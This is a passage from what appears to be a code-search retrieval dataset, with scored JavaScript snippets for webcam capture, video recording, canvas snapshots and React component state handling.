video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}", "title": "" }, { "docid": "2995a0e9f5b51955fefde1c372c270cb", "score": "0.5554808", "text": "async function setUpVideo(v) {\n const stream = await navigator.mediaDevices.getUserMedia({\n video: true,\n });\n v.srcObject = stream;\n v.play();\n}", "title": "" }, { "docid": "8faaf5571e231b36945e4e01e62430f8", "score": "0.55531365", "text": "async function setupCamera() {\n const video = document.getElementById('video')\n video.width = videoWidth\n video.height = videoHeight\n\n const stream = await navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n facingMode: 'user',\n width: videoWidth,\n height: videoHeight\n }\n })\n video.srcObject = stream\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}", "title": "" }, { "docid": "dfde0ec10e3a0fdbeeec859e706ffd34", "score": "0.55487746", "text": "function update_debug_info() {\n if (fatal_error) {\n return;\n }\n\n const na = 'N/A';\n var video_buf = document.getElementById('video-buf');\n var video_res = document.getElementById('video-res');\n var video_crf = document.getElementById('video-crf');\n var video_ssim = document.getElementById('video-ssim');\n var video_bitrate = document.getElementById('video-bitrate');\n\n if (av_source && av_source.isOpen()) {\n video_buf.innerHTML = av_source.getVideoBuffer().toFixed(1);\n\n var vformat_val = av_source.getVideoFormat();\n if (vformat_val) {\n const [vres_val, vcrf_val] = vformat_val.split('-');\n video_res.innerHTML = vres_val;\n video_crf.innerHTML = vcrf_val;\n } else {\n video_res.innerHTML = na;\n video_crf.innerHTML = na;\n }\n\n const vssim_val = av_source.getSSIMdB();\n video_ssim.innerHTML = vssim_val ? vssim_val.toFixed(2) : na;\n\n const vbitrate_val = av_source.getVideoBitrate();\n video_bitrate.innerHTML = vbitrate_val ? vbitrate_val.toFixed(2) : na;\n } else {\n video_buf.innerHTML = na;\n video_res.innerHTML = na;\n video_crf.innerHTML = na;\n video_ssim.innerHTML = na;\n video_bitrate.innerHTML = na;\n }\n }", "title": "" }, { "docid": "ef5933c093cf0cde15b13cd04e57b023", "score": "0.55406415", "text": "function snap() {\n // Define the size of the rectangle that will be filled (basically the entire element)\n context.fillRect(0, 0, w, h);\n // Grab the image from the video\n context.drawImage(video, 0, 0, w, h);\n // wulianliang: save the image\n var image = new Image();\n // var image = $(\"#snapImage\");\n image.setAttribute('crossOrigin', 'anonymous');\n //image.crossOrigin = \"anonymous\";\n image.src = canvas.toDataURL(\"image/png\");\n}", "title": "" }, { "docid": "7af072391af4f6b7984efc1429b64e32", "score": "0.5538735", "text": "function drag_objects(){\n\t\t var dragControls = new THREE.DragControls( objects, camera, renderer.domElement );\n\t\t\t\t\n\t\t\t dragControls.addEventListener( 'dragstart', function(event) {\n\t\t\t\t if (event.object.name == \"undo\")\n\t\t\t\t\t undo_Canvas_Change();\n\t\t\t\t else if (event.object.name == \"redo\")\n\t\t\t\t\t redo_Canvas_Change();\n\t\t\t\t else if (event.object.name == \"background\" && webApplicationState == \"PostCard Canvas\"){\n\t\t\t\t\t create_Fill_Image('#'+document.getElementById(\"colorCanvas\").jscolor.valueElement.value);\n\t\t\t\t }\n\t\t\t\t else if (event.object.name == \"cam\" && webApplicationState == \"PostCard Canvas\"){\n\t\t\t\t\t console.log(\"CAM!!!\");\n\t\t\t\t\t \n\t\t\t\t\t // Attempting the Set the Video Height\n\t\t\t\t\t document.getElementById(\"vidCanvas\").style.height = postCardCanvasContext.canvas.height;\n\t\t\t\t\t document.getElementById(\"vidCanvas\").style.maxHeight = postCardCanvasContext.canvas.height;\n\t\t\t\t\t document.getElementById(\"vidCanvas\").style.overflow = \"hidden\";\n\t\t\t\t\t \n\t\t\t\t\t document.getElementById(\"vidCanvas\").style.display = \"block\";\n\t\t\t\t\t document.getElementById(\"go_Back_Button\").style.display = \"block\";\n\t\t\t\t\t document.getElementById(\"postCardCanvas\").style.display = \"none\";\n\t\t\t\t\t document.getElementById(\"postCardToolsCanvas\").style.display = \"none\";\n\t\t\t\t\t document.getElementById(\"colorCanvas\").style.display = \"none\";\n\t\t\t\t\t webApplicationState = \"WebCam Canvas\";\n\t\t\t\t\t \n\t\t\t\t\t \n\t\t\t\t\t // Video Setup using navigator.mediaDevices.getUserMedia\n\t\t\t\t\t // Source: https://www.youtube.com/watch?v=Hc7GE3ENz7k\n\t\t\t\t\t const video = document.getElementById(\"vidDisplay\");\n\t\t\t\t\t navigator.mediaDevices.getUserMedia({\n\t\t\t\t\t\t audio:false,\n\t\t\t\t\t\t video:true\n\t\t\t\t\t }). then (stream =>{\n\t\t\t\t\t\t video.srcObject = stream;\n\t\t\t\t\t }).catch(useNavigatorGetUserMedia()); // In case this fails... call navigator.getUserMedia\n\t\t\t\t\t \n\t\t\t\t\t // navigator.getUserMedia Source\n\t\t\t\t\t // https://www.youtube.com/watch?v=d1SuDVpz6Pk&index=2&list=PL3dbqzwPYj6ttTNmdlZKQ2KV3p6jh9atX\n\t\t\t\t\t function useNavigatorGetUserMedia(){\n\t\t\t\t\t\t navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia ||\n\t\t\t\t\t\t\t\t\t\t\t navigator.msGetUserMedia || navigator.oGetUserMedia;\n\t\t\t\t\t\t \n\t\t\t\t\t\t if(navigator.getUserMedia){\n\t\t\t\t\t\t\t navigator.getUserMedia({video:true},handleVideo, videoError);\n\t\t\t\t\t\t }\n\t\t\t\t\t }\n\t\t\t\t\t \n\t\t\t\t\t \n\t\t\t\t\t function handleVideo(stream){\n\t\t\t\t\t\t document.querySelector('#vidDisplay').srcObject = stream;\n\t\t\t\t\t }\n\t\t\t\t\t \n\t\t\t\t\t function videoError(e){\n\t\t\t\t\t\t alert(\"There has been some problem\");\n\t\t\t\t\t\t console.error;\n\t\t\t\t\t }\t\n\t\t\t\t }\n\t\t\t\t else if (event.object.name == \"text\"){\n\t\t\t\t\t // If the web application is already in 'Text Addition' mode\n\t\t\t\t\t if(event.object.ON && webApplicationState == \"Text Addition\"){\n\t\t\t\t\t\t document.getElementById(\"textToolsCanvas\").style.display = \"none\";\n\t\t\t\t\t\t \n\t\t\t\t\t\t // Correcting the Buttons not including the undo/redo buttons\n\t\t\t\t\t\t for(var x = 2; x< buttons.length; x++)\n\t\t\t\t\t\t\t buttons[x].material.color.setHex(0xffffff);\n\t\t\t\t\t\t \n\t\t\t\t\t\t webApplicationState = \"PostCard Canvas\";\n\t\t\t\t\t\t event.object.ON = false;\n\t\t\t\t\t }\n\t\t\t\t\t // If the web application is not already in 'Text Addition' mode\n\t\t\t\t\t else if(webApplicationState == \"PostCard Canvas\"){\n\t\t\t\t\t\t // Reducing the color of all the buttons colors except the undo/redo button\n\t\t\t\t\t\t for(var x = 2; x< buttons.length; x++)\n\t\t\t\t\t\t\t buttons[x].material.color.setHex(0x575757);\n\t\t\t\t\t\t \n\t\t\t\t\t\t buttons[4].material.color.setHex(0xffffff);\t\t\t\t\t\t \n\t\t\t\t\t\t \n\t\t\t\t\t\t webApplicationState = \"Text Addition\";\n\t\t\t\t\t\t event.object.ON = true;\n\t\t\t\t\t\t \n\t\t\t\t\t\t document.getElementById(\"textToolsCanvas\").style.display = \"block\";\n\t\t\t\t\t }\n\t\t\t\t }\n\t\t\t\t else if (event.object.name == \"send\" && webApplicationState == \"PostCard Canvas\"){\n\t\t\t\t\t document.getElementById(\"receiptEmail\").style.display = \"block\";\n\t\t\t\t\t document.getElementById(\"go_Back_Button\").style.display = \"inline\";\n\t\t\t\t\t document.getElementById(\"colorCanvas\").style.display = \"none\";\n\t\t\t\t\t document.getElementById(\"postCardToolsCanvas\").style.display = \"none\";\n\t\t\t\t\t webApplicationState = \"Send PostCard\";\n\t\t\t\t }\n\t\t\t\t //console.log(event);\n\t\t\t });\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t dragControls.addEventListener( 'drag', function(event) {\n\t\t\t\t if (event.object.type == \"button\")\n\t\t\t\t\t event.object.position.set(event.object.posX, event.object.posY, event.object.posZ);\n\t\t\t\t });\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t dragControls.addEventListener( 'dragend', function(event) { });\n\t }", "title": "" }, { "docid": "0cae822b48bdb0a1c5eb845b4b8a77a6", "score": "0.5533124", "text": "function recordStep2(mediaStreamObj){\n\n stream = mediaStreamObj;\n recorder = RecordRTC(mediaStreamObj, {\n type: 'gif',\n frameRate: 1,\n quality: 10,\n width: 360,\n hidden: 240,\n onGifRecordingStarted: function() {\n console.log('started')\n },\n });\n\n console.log(\"Preparando grabacion de gifo...\")\n let indication = document.getElementById(\"indication\");\n indication.style.display = \"none\";\n let description = document.getElementById(\"description\");\n description.style.display = \"none\";\n\n // cambio el estilo de los botones step\n changeStepStatus(1, false);\n changeStepStatus(2, true);\n activeStep1 = false; \n activeStep2 = true;\n\n // al step1 le doy funcionalidad de modo que se pueda volver atras \n stepper1.style.cursor = \"pointer\";\n stepper1.style.pointerEvents = \"auto\";\n stepper1.addEventListener(\"mouseover\", function(){ changeStepStatus(1, true) });\n stepper1.addEventListener(\"mouseout\", function(){ changeStepStatus(1, false) }); \n stepper1.addEventListener(\"click\", function(){\n // finalizo la utilizacion de la camara\n stream.getTracks().forEach(track => track.stop()); \n // cambio el estilo de los botones step\n changeStepStatus(1, false);\n changeStepStatus(2, false);\n activeStep1 = false;\n activeStep2 = false;\n stepper1.style.pointerEvents = \"none\";\n loadRecorderInitialState();\n })\n\n //connect the media stream to the first video element\n let video = document.getElementById('gifo-record');\n video.style.display = \"block\"\n \n // segun la version del componente video, voy agregando el streaming en su src\n if (\"srcObject\" in video) {\n video.srcObject = mediaStreamObj;\n } else {\n //old version\n video.src = window.URL.createObjectURL(mediaStreamObj);\n }\n\n video.onloadedmetadata = function(ev) {\n //show in the video element what is being captured by the webcam\n video.play();\n };\n \n grabar.style.display = \"block\";\n\n}", "title": "" }, { "docid": "405ab4c18b9581254b5f880b6053eb79", "score": "0.5531367", "text": "function setupMedia() {\n if (supportsMedia()) {\n audioContext = new AudioContext();\n\n navigator.getUserMedia(\n {\n video: false,\n audio: true\n },\n function (localMediaStream) {\n // map the camera\n var video = document.getElementById('live_video');\n video.src = window.URL.createObjectURL(localMediaStream);\n\n // create the canvas & get a 2d context\n videoCanvas = document.createElement('canvas');\n videoContext = videoCanvas.getContext('2d');\n\n // setup audio recorder\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\n //audioInput.connect(audioContext.destination);\n // had to replace the above with the following to mute playback\n // (so you don't get feedback)\n var audioGain = audioContext.createGain();\n audioGain.gain.value = 0;\n audioInput.connect(audioGain);\n audioGain.connect(audioContext.destination);\n\n audioRecorder = new Recorder(audioInput);\n mediaStream = localMediaStream;\n mediaInitialized = true;\n\n document.getElementById('uploading').hidden = true;\n document.getElementById('media-error').hidden = true;\n document.getElementById('record').hidden = false;\n },\n function (e) {\n console.log('web-cam & microphone not initialized: ', e);\n document.getElementById('media-error').hidden = false;\n }\n );\n }\n}", "title": "" }, { "docid": "96f443603ada426774b9e321c88ff148", "score": "0.55200994", "text": "function initCamEvents(entity,mode){\n\n\t//simulate capture click on cntrl key press > first press works for Add Photo, then Capture\n\t$(document).keydown(function(e){\n\t\tif(e.ctrlKey && (event.location==2 || event.keyLocation==2)){\n\t\t\tif(addedPhoto){\n\t\t\t\t$(\"#\"+entity+\"-\"+mode+\"-screenshot-button\").click();\n\t\t\t\t//focus on change photo button for spacebar to work for switching modes\n\t\t\t\t$(\"#\"+entity+\"-\"+mode+\"-change-screenshot-button\").focus();\n\t\t\t} else {\n\t\t\t\t$(\"#\"+entity+\"-\"+mode+\"-add-screenshot-button\").click();\n\t\t\t\taddedPhoto=1;\n\t\t\t}\n\t\t}\n\t});\n\t\n\t//click event for add photo\n\t$(\"#\"+entity+\"-\"+mode+\"-add-screenshot-button\").click(function(){\n\t\t//cam video start\n\t\tvar video = document.querySelector(\"#\"+entity+\"-\"+mode+\"-video-elem\");\n\t\tif(navigator.mediaDevices.getUserMedia){\n\t\t\t//navigator.mediaDevices.getUserMedia({ video: true,audio: true })\n\t\t\tnavigator.mediaDevices.getUserMedia({video: {width: {exact: sourceW}, height: {exact: sourceH}}})\n\t\t\t.then(function (stream){\n\t\t\t\tvideo.srcObject = stream;\n\t\t\t\tlocalStream = stream;\n\t\t\t})\n\t\t}\n\t\t//show video and capture button\n\t\t$(\"#\"+entity+\"-\"+mode+\"-video-container,#\"+entity+\"-\"+mode+\"-screenshot-button\").show();\n\t\t//hide add photo button\n\t\t$(this).hide();\n\t\t//hide change button\n\t\t$(\"#\"+entity+\"-\"+mode+\"-change-screenshot-button\").hide();\n\t});\n\n\t//capture button action\n\t$(\"#\"+entity+\"-\"+mode+\"-screenshot-button\").click(function(){\n\t\tvar video = document.querySelector(\"#\"+entity+\"-\"+mode+\"-video-elem\");\n\t\tvar img = document.querySelector(\"#\"+entity+\"-\"+mode+\"-screenshot-container img\");\n\t\tvar canvas = document.querySelector(\"#\"+entity+\"-\"+mode+\"-video-canvas\");\n\t\tcanvas.width = video.videoWidth;\n\t\tcanvas.height = video.videoHeight;\n\t\tcanvas.getContext('2d').drawImage(video, 0, 0);\n\t\timg.src = canvas.toDataURL('image/'+outputFormat,outputQuality);//falls back to png as default\n\t\t//raise edited photo flag\n\t\tdoChangePhoto=1;\n\t\t//stop video\n\t\tvideo.pause();\n\t\t//hide capture button\n\t\t$(this).hide();\n\t\t//show change button\n\t\t$(\"#\"+entity+\"-\"+mode+\"-change-screenshot-button\").show();\n\t});\n\n\t//change button action\n\t$(\"#\"+entity+\"-\"+mode+\"-change-screenshot-button\").click(function(){\n\t\t//hide change button\n\t\t$(this).hide();\n\t\t//hide snapshot in case of edit\n\t\t$(\"#\"+entity+\"-edit-screenshot-container\").hide();\n\t\t$(\"#\"+entity+\"-new-screenshot-container\").hide();\n\t\t//resume video\n\t\t$(\"#\"+entity+\"-\"+mode+\"-video-container, #\"+entity+\"-\"+mode+\"-video-canvas\").show();\n\t\t$(\"#\"+entity+\"-\"+mode+\"-add-screenshot-button\").click();\n\t\t//show capture button\n\t\t$(\"#\"+entity+\"-\"+mode+\"-screenshot-button\").show();\n\t});\n}", "title": "" }, { "docid": "aead1117bf74e0ba52339d0b8e6896c5", "score": "0.5519956", "text": "function setup()\n{\n const maxWidth = Math.min(windowWidth, windowHeight);\n pixelDensity(1);\n outputWidth = maxWidth;\n outputHeight = maxWidth * 0.75; // 4:3\n\n createCanvas(outputWidth, outputHeight);\n\n // webcam capture\n videoInput = createCapture(VIDEO);\n videoInput.size(outputWidth, outputHeight);\n videoInput.hide();\n\n // select filter\n const sel = createSelect();\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\n sel.option('Select Filter', -1); // Default no filter\n for (let i = 0; i < selectList.length; i++)\n {\n sel.option(selectList[i], i);\n }\n sel.changed(applyFilter);\n\n // tracker\n faceTracker = new clm.tracker();\n faceTracker.init();\n faceTracker.start(videoInput.elt);\n}", "title": "" }, { "docid": "7ddcccac968ccbd985fe4f2dd86c7670", "score": "0.5516331", "text": "async function handleStop(e) {\n resultuploadvideomateri.innerHTML = \"\";\n let blob = new Blob(recordedChunks, { 'type': 'video/mp4;' });\n recordedChunks = [];\n let videoURL = window.URL.createObjectURL(blob);\n vidSave.src = videoURL;\n\n spanstatus.innerHTML = \"Ukuran Video \" + formatBytes(blob.size, 2);\n spanstatus2.innerHTML += \"Ukuran Video \" + formatBytes(blob.size, 2);\n //---------------------------------------------------\n var reader = new FileReader();\n reader.readAsDataURL(blob);\n\n reader.onload = function (e) {\n let urlbs64 = e.target.result;\n // console.log(urlbs64);\n var inputbase64 = document.createElement(\"input\");\n inputbase64.setAttribute(\"name\", \"videodata\");\n inputbase64.setAttribute(\"id\", \"videodata\");\n inputbase64.value = urlbs64.replace(/^.*,/, '');\n\n inputbase64.setAttribute(\"style\", \"display:none\");\n\n var inputfilename = document.createElement(\"input\");\n inputfilename.setAttribute(\"name\", \"videofilename\");\n inputfilename.setAttribute(\"id\", \"videofilename\");\n inputfilename.setAttribute(\"style\", \"display:none\");\n inputfilename.value = \"Kelas_\" + idJenjang + \"_\" + StringTanggal(new Date()) + \"_id_\" + new Date().getTime();;// + namebantukirim.value.toUpperCase().replace(/\\s+/, \"_\");\n\n var inputmimetype = document.createElement(\"input\");\n inputmimetype.setAttribute(\"name\", \"videomimeType\")\n inputmimetype.setAttribute(\"id\", \"videomimeType\")\n inputmimetype.setAttribute(\"style\", \"display:none\")\n\n inputmimetype.value = \"video/mp4\";//srcEncoded.match(/^.*(?=;)/)[0];;//\"data:image/jpeg\";;// \n\n resultuploadvideomateri.innerHTML = \"\"\n resultuploadvideomateri.appendChild(inputbase64);\n resultuploadvideomateri.appendChild(inputfilename);\n resultuploadvideomateri.appendChild(inputmimetype);\n }\n //---------------------------------------------------\n recordedChunks = [];\n //vidlayar.src = \"\";\n tanda = 0;\n tutupkamera();\n\n\n}", "title": "" }, { "docid": "818e0b2d37a4feb412d7d36b7a035d9f", "score": "0.55145216", "text": "function makeFrames(){\n console.log(\"Splitting Video Frames\".green);\n var p = spawn(\"ffmpeg\", [\"-i\", input, Path.join(tmp,outputLocation, \"raw\", \"frame.%4d.png\")])\n .progress(function (childProcess) {\n // console.log('[spawn] childProcess.pid: ', childProcess.pid);\n childProcess.stdout.on('data', function (data) {\n console.log('[spawn ffmpeg] stdout: ', data.toString());\n });\n childProcess.stderr.on('data', function (data) {\n //console.log('[spawn ffmpeg] stderr: ', data.toString());\n });\n })\n .fail(function (err) {\n console.error('[spawn ffmpeg] ERROR: '.red, err);\n });\n return p;\n}", "title": "" }, { "docid": "7baf55e9ac028681603c7432c0031cbc", "score": "0.5508902", "text": "function addListeners() {\r\n Enabler.addEventListener(studio.events.StudioEvent.EXPAND_START, expandStartHandler);\r\n Enabler.addEventListener(studio.events.StudioEvent.EXPAND_FINISH, expandFinishHandler);\r\n Enabler.addEventListener(studio.events.StudioEvent.COLLAPSE_START, collapseStartHandler);\r\n Enabler.addEventListener(studio.events.StudioEvent.COLLAPSE_FINISH, collapseFinishHandler);\r\n creative.dom.expandButton.addEventListener('click', onExpandHandler, false);\r\n creative.dom.collapseButton.addEventListener('click', onCollapseClickHandler, false);\r\n creative.dom.expandedExit.addEventListener('click', exitClickHandler);\r\n creative.dom.collapsedExit.addEventListener('click', collapsedExitClickHandler);\r\n\r\n //////// UNEXPANDED VIDEO\r\n creative.dom.video0.vidPlayBtn.addEventListener('click', pausePlayHandler0, false);\r\n creative.dom.video0.vidPauseBtn.addEventListener('click', pausePlayHandler0, false);\r\n creative.dom.video0.vidMuteBtn.addEventListener('click', muteUnmuteHandler0, false);\r\n creative.dom.video0.vidUnmuteBtn.addEventListener('click', muteUnmuteHandler0, false);\r\n creative.dom.video0.vidReplayBtn.addEventListener('click', replayHandler0, false);\r\n creative.dom.video0.vidStopBtn.addEventListener('click', stopHandler0, false);\r\n creative.dom.video0.vid.addEventListener('ended', videoEndHandler0, false);\r\n creative.dom.video0.vid.addEventListener('timeupdate', videoTimeUpdateHandler0, false); \r\n\r\n //////// EXPANDED INTRO VIDEO\r\n creative.dom.video1.vidPlayBtn.addEventListener('click', pausePlayHandler1, false);\r\n creative.dom.video1.vidPauseBtn.addEventListener('click', pausePlayHandler1, false);\r\n creative.dom.video1.vidMuteBtn.addEventListener('click', muteUnmuteHandler1, false);\r\n creative.dom.video1.vidUnmuteBtn.addEventListener('click', muteUnmuteHandler1, false);\r\n creative.dom.video1.vidReplayBtn.addEventListener('click', replayHandler1, false);\r\n creative.dom.video1.vidStopBtn.addEventListener('click', stopHandler1, false);\r\n creative.dom.video1.vid.addEventListener('ended', videoEndHandler1, false);\r\n creative.dom.video1.vid.addEventListener('timeupdate', videoTimeUpdateHandler1, false);\r\n\r\n\r\n}", "title": "" }, { "docid": "2f41ef89a3e2bbaee318fa582e9239e3", "score": "0.55057514", "text": "function takePhoto (e) {\nlet ctx = outputCanvas.getContext('2d')\nctx.drawImage(inputVideo,0,0)\n}", "title": "" } ]
824f3a564865db0118bc2c3a32c2c630
Insert props type in state
[ { "docid": "073a9bf68750c726a5d648491ec654ce", "score": "0.6485989", "text": "componentWillReceiveProps(props) {\n this.setState(...this.state, {\n type: props.type\n });\n }", "title": "" } ]
[ { "docid": "49dc4b873269e6df415ee8d53d2e3a16", "score": "0.61943865", "text": "constructor(props) {\n super(props);\n this.state = {\n loading: true,\n type: this.props.type\n };\n }", "title": "" }, { "docid": "aaef7caadd27e55101245c8d56780983", "score": "0.61896044", "text": "componentDidMount() {\n this.setState({\n type: this.props.type\n });\n }", "title": "" }, { "docid": "53356a123aa8fcbbd4f1e4e383f2bdd0", "score": "0.6186309", "text": "constructor(props){\n super(props);\n this.state = {\n name: props.Name,\n type: props.Type,\n value: props.Value,\n id: props.ID\n }\n }", "title": "" }, { "docid": "d433bd295cbff4129ac1e7060f885460", "score": "0.58042157", "text": "constructor(props) {\r\n super(props);\r\n this.state = { value: this.props.type === Boolean ? false : null };\r\n }", "title": "" }, { "docid": "05517df6c3b3dc4a553d91b2c3d5a48e", "score": "0.5726173", "text": "storePropertyState(...props) {\n props.forEach(prop => {\n this._stateStorage[prop] = this[prop];\n });\n }", "title": "" }, { "docid": "66967b59a5706faa08d577b86a10629c", "score": "0.57065916", "text": "addItem(state, payload) {\n const { item, newItem } = payload; // receb os dois parâmetros\n state.items[item.type].push(newItem);\n }", "title": "" }, { "docid": "0300268f720172902f545ffc7297873a", "score": "0.5637936", "text": "handleProps() {\n \n // Set Props based on type\n switch( this.getType() ) { \n default:\n case 'banana':\n this.setHealAmout(1);\n break;\n case 'berry':\n this.setNeedSaveState(true); // Make this item able to save state\n this.setHealAmout(2);\n this.setCanRespawn(false); // It can't respawn if used\n break;\n }\n\n // Check if this item was saved before and change it props\n this.checkSavedItemState();\n }", "title": "" }, { "docid": "65ee6dd81a058abff1bf59acaec1ff7d", "score": "0.5636064", "text": "handleTypeChange(data) {\n let state = {...this.state};\n state.type = data.value;\n // Right now keep size to \"official\" rules but it could change later.\n state.size = state.type === \"word\" ? \"5x5\" : \"5x4\";\n state.errorMessage = '';\n \tthis.setState(state);\n }", "title": "" }, { "docid": "ddc95d408ff45a25f96970593aaff563", "score": "0.5636009", "text": "static getDerivedStateFromProps(props, state) {\r\n state.dataGet = props.result\r\n if (props.value === \"forces\") {\r\n state.headingValue = 'id';\r\n } else {\r\n state.headingValue = 'url';\r\n }\r\n\r\n\r\n }", "title": "" }, { "docid": "2be9c7b95090e42650a876d95a6ce0bf", "score": "0.5622965", "text": "changeUserType(state, payload) {\n state.userType = payload\n }", "title": "" }, { "docid": "07d536b9f4aedf1dd6a96217f0b681ff", "score": "0.56182235", "text": "addType( e ) {\n this.setState({ addType: e.target.value });\n }", "title": "" }, { "docid": "a02da1a991c53de4df98d38a657f832d", "score": "0.55793697", "text": "pushState(state, payload) {\n const { prop: arr, data } = payload;\n state[arr].push(data);\n }", "title": "" }, { "docid": "a93a7af76ec71b679178c08ce4faedcb", "score": "0.5573544", "text": "contstructor (props){\n //will call constructor\n super()\n //invent property to attach new input newItem\n // this.state = props\n // this.state.newItem = \"\"\n this.state = props\n }", "title": "" }, { "docid": "760344fc370e9897cba466ddbbf911f9", "score": "0.5559624", "text": "async addState(state) {\n console.log(state.getClass())\n let key = this.ctx.stub.createCompositeKey(state.getClass(), state.getSplitKey())\n let data = State.serialize(state)\n await this.ctx.stub.putState(key, data)\n }", "title": "" }, { "docid": "f65739fb3aa87484af10d21dce94ab80", "score": "0.55500805", "text": "function addRecordToState(state, record) {\n state[record.type] = state[record.type] || {}\n state[record.type][record.id] = Object.assign({}, recordInfoTemplate, record)\n return state\n}", "title": "" }, { "docid": "8fe2d895ee15d5e54f408d97e07e3855", "score": "0.5542699", "text": "static getDerivedStateFromProps(props, state) {\n // 我们的筛选项,从一个切换到了另外一个\n if (props.openType != state.openType) {\n return {\n ...state,\n value: props.selectValue[props.openType], // 取出最新的openType的选中值赋值给 value\n openType: props.openType // 取出最新的openTyp赋值给 state中的openType\n }\n } else {\n return state\n }\n }", "title": "" }, { "docid": "3d4061e21e84b53f6a7833f9e8b5262b", "score": "0.55368876", "text": "constructor(props){\n super({...props, ...{\n tag: \"input\"\n }})\n this.setAttribute(\"type\", props.type || \"text\")\n }", "title": "" }, { "docid": "fc0f37db4e6627509d19e1144922d5ba", "score": "0.5517191", "text": "initType() {\n this.initHiddenProperty(TYPEOF_KEY, ReduxClassSymbol)\n }", "title": "" }, { "docid": "c7257fbfd4628635a288be88c7cbd070", "score": "0.5502956", "text": "static getDerivedStateFromProps(nextProps, prevState) {\n if( (nextProps.locationTypes && nextProps.locationTypes.value.length) &&\n (nextProps.qualificationTypes && nextProps.qualificationTypes.value.length) &&\n (nextProps.studentTypes && nextProps.studentTypes.value.length)\n )\n return {\n locationTypes: nextProps.locationTypes.value,\n qualificationTypes: nextProps.qualificationTypes.value,\n studentTypes: nextProps.studentTypes.value\n };\n return null;\n }", "title": "" }, { "docid": "5e643f76f39c3386ba5dfd499ceb1cc9", "score": "0.5459967", "text": "transformData(data, type) {\n const transformedData = {};\n for (let item of data) {\n transformedData[item.id] = item;\n }\n this.setState({\n [type]: transformedData,\n });\n }", "title": "" }, { "docid": "91ada3286fdeca2ee9ef033eb768540a", "score": "0.5447876", "text": "constructor(props){\n super(props);\n this.state = {\n name: '',\n address: '',\n city: '',\n zip: '',\n type: 'Pickup',\n }\n\n }", "title": "" }, { "docid": "cab9ff7f0571fbfd1f27a25af678b42b", "score": "0.5446461", "text": "function mapStateToProps (state, props) {\n const name = props.name || defaultName;\n const value = state.formState[name] || DEF_VAL;\n const touched = state.formState[name+'_T'] || DEF_VAL;\n return {\n value,\n touched,\n coreData: state.formState.coreData // language etc\n };\n }", "title": "" }, { "docid": "ae64cacd05bb774921586bc42cf92dfd", "score": "0.5442781", "text": "typeChanged(e,index) {\n var data = [...this.state.data]; \n data[index].Type=e.target.value;\n data[index].Modified=1;\n this.setState({data : data});\n }", "title": "" }, { "docid": "9282f05d5485439436677bf401cf4bb3", "score": "0.54426545", "text": "SET_INFORMATION_TYPE(state, { id, name }) {\n Vue.set(state.informationTypes, id, { name });\n }", "title": "" }, { "docid": "a199be032a67ec327ffec124d55d2e49", "score": "0.54245234", "text": "typeActivated(e) {\n this.parent.disableMapUpdate();\n let type = this.parent.state.type;\n if (e === null)\n type[\"activated\"] = null;\n else\n type[\"activated\"] = e.value;\n this.parent.setState({ type });\n this.activatedValid();\n }", "title": "" }, { "docid": "03e4f45b94a8fb6012115ed0370f997a", "score": "0.5424044", "text": "setProposalType(state, proposalType) {\n state.proposalType = proposalType\n app.type = state.proposalType\n }", "title": "" }, { "docid": "97a0e92b15b5e9ddc1296ff402749dda", "score": "0.54231894", "text": "static getDerivedStateFromProps(props, state) {\n return{\n path: \"media/picture/\" + props.type + \"/\" + props.type + props.number +\".svg\"\n };\n }", "title": "" }, { "docid": "799a5aae6e2001993d3b0e8e7d08fa60", "score": "0.5409889", "text": "function add (state,data){\n state.feedback[data.type].push(data)\n}", "title": "" }, { "docid": "6095cac9a8be8dfa7761c4929a71def9", "score": "0.53875184", "text": "static getDerivedStateFromProps(props, state) {\n\n let newStateObject = {}\n\n //Appropriately change displayType\n if (props.userName !== \"newUser\") {\n newStateObject['displayType'] = \"message\";\n }\n\n //Ensure always appropriate recipient value\n if (props.availableUsers.length > 0) {\n if (state.recipient === undefined || props.availableUsers.indexOf(state.recipient) === -1) {\n newStateObject[\"recipient\"]=props.availableUsers[0];\n }\n }\n\n return newStateObject\n }", "title": "" }, { "docid": "e6342d9c39fa60040a0f340183734b35", "score": "0.53628725", "text": "typeModel(e) {\n this.parent.disableMapUpdate();\n var type = this.parent.state.type;\n type[\"model\"] = e.target.value;\n this.parent.setState({ type });\n this.modelValid();\n }", "title": "" }, { "docid": "7289f70286ff3c89dc30da052d86bd33", "score": "0.53493774", "text": "changeProductVariation(type, e) {\n this.setState({\n variations: {\n ...this.state.variations,\n [type]: e.target.value\n }\n })\n }", "title": "" }, { "docid": "9154d5f0c13328a9d874a6a9ce4c55a5", "score": "0.53491503", "text": "componentDidMount() {\n const { type, data } = this.props;\n \n this.setState({\n originalData: data,\n displayedData: data,\n title: type\n });\n }", "title": "" }, { "docid": "e170ba5992241609e248ad5e00d55113", "score": "0.534038", "text": "static get properties() { return {\nstate: {type:Object} \n}}", "title": "" }, { "docid": "e170ba5992241609e248ad5e00d55113", "score": "0.534038", "text": "static get properties() { return {\nstate: {type:Object} \n}}", "title": "" }, { "docid": "ff2758f08897360c86df7fec8ccfc1a8", "score": "0.53320843", "text": "function proptype() { }", "title": "" }, { "docid": "cb941d5ef089771c6df788bd4c28dcc3", "score": "0.5319805", "text": "constructor(props) 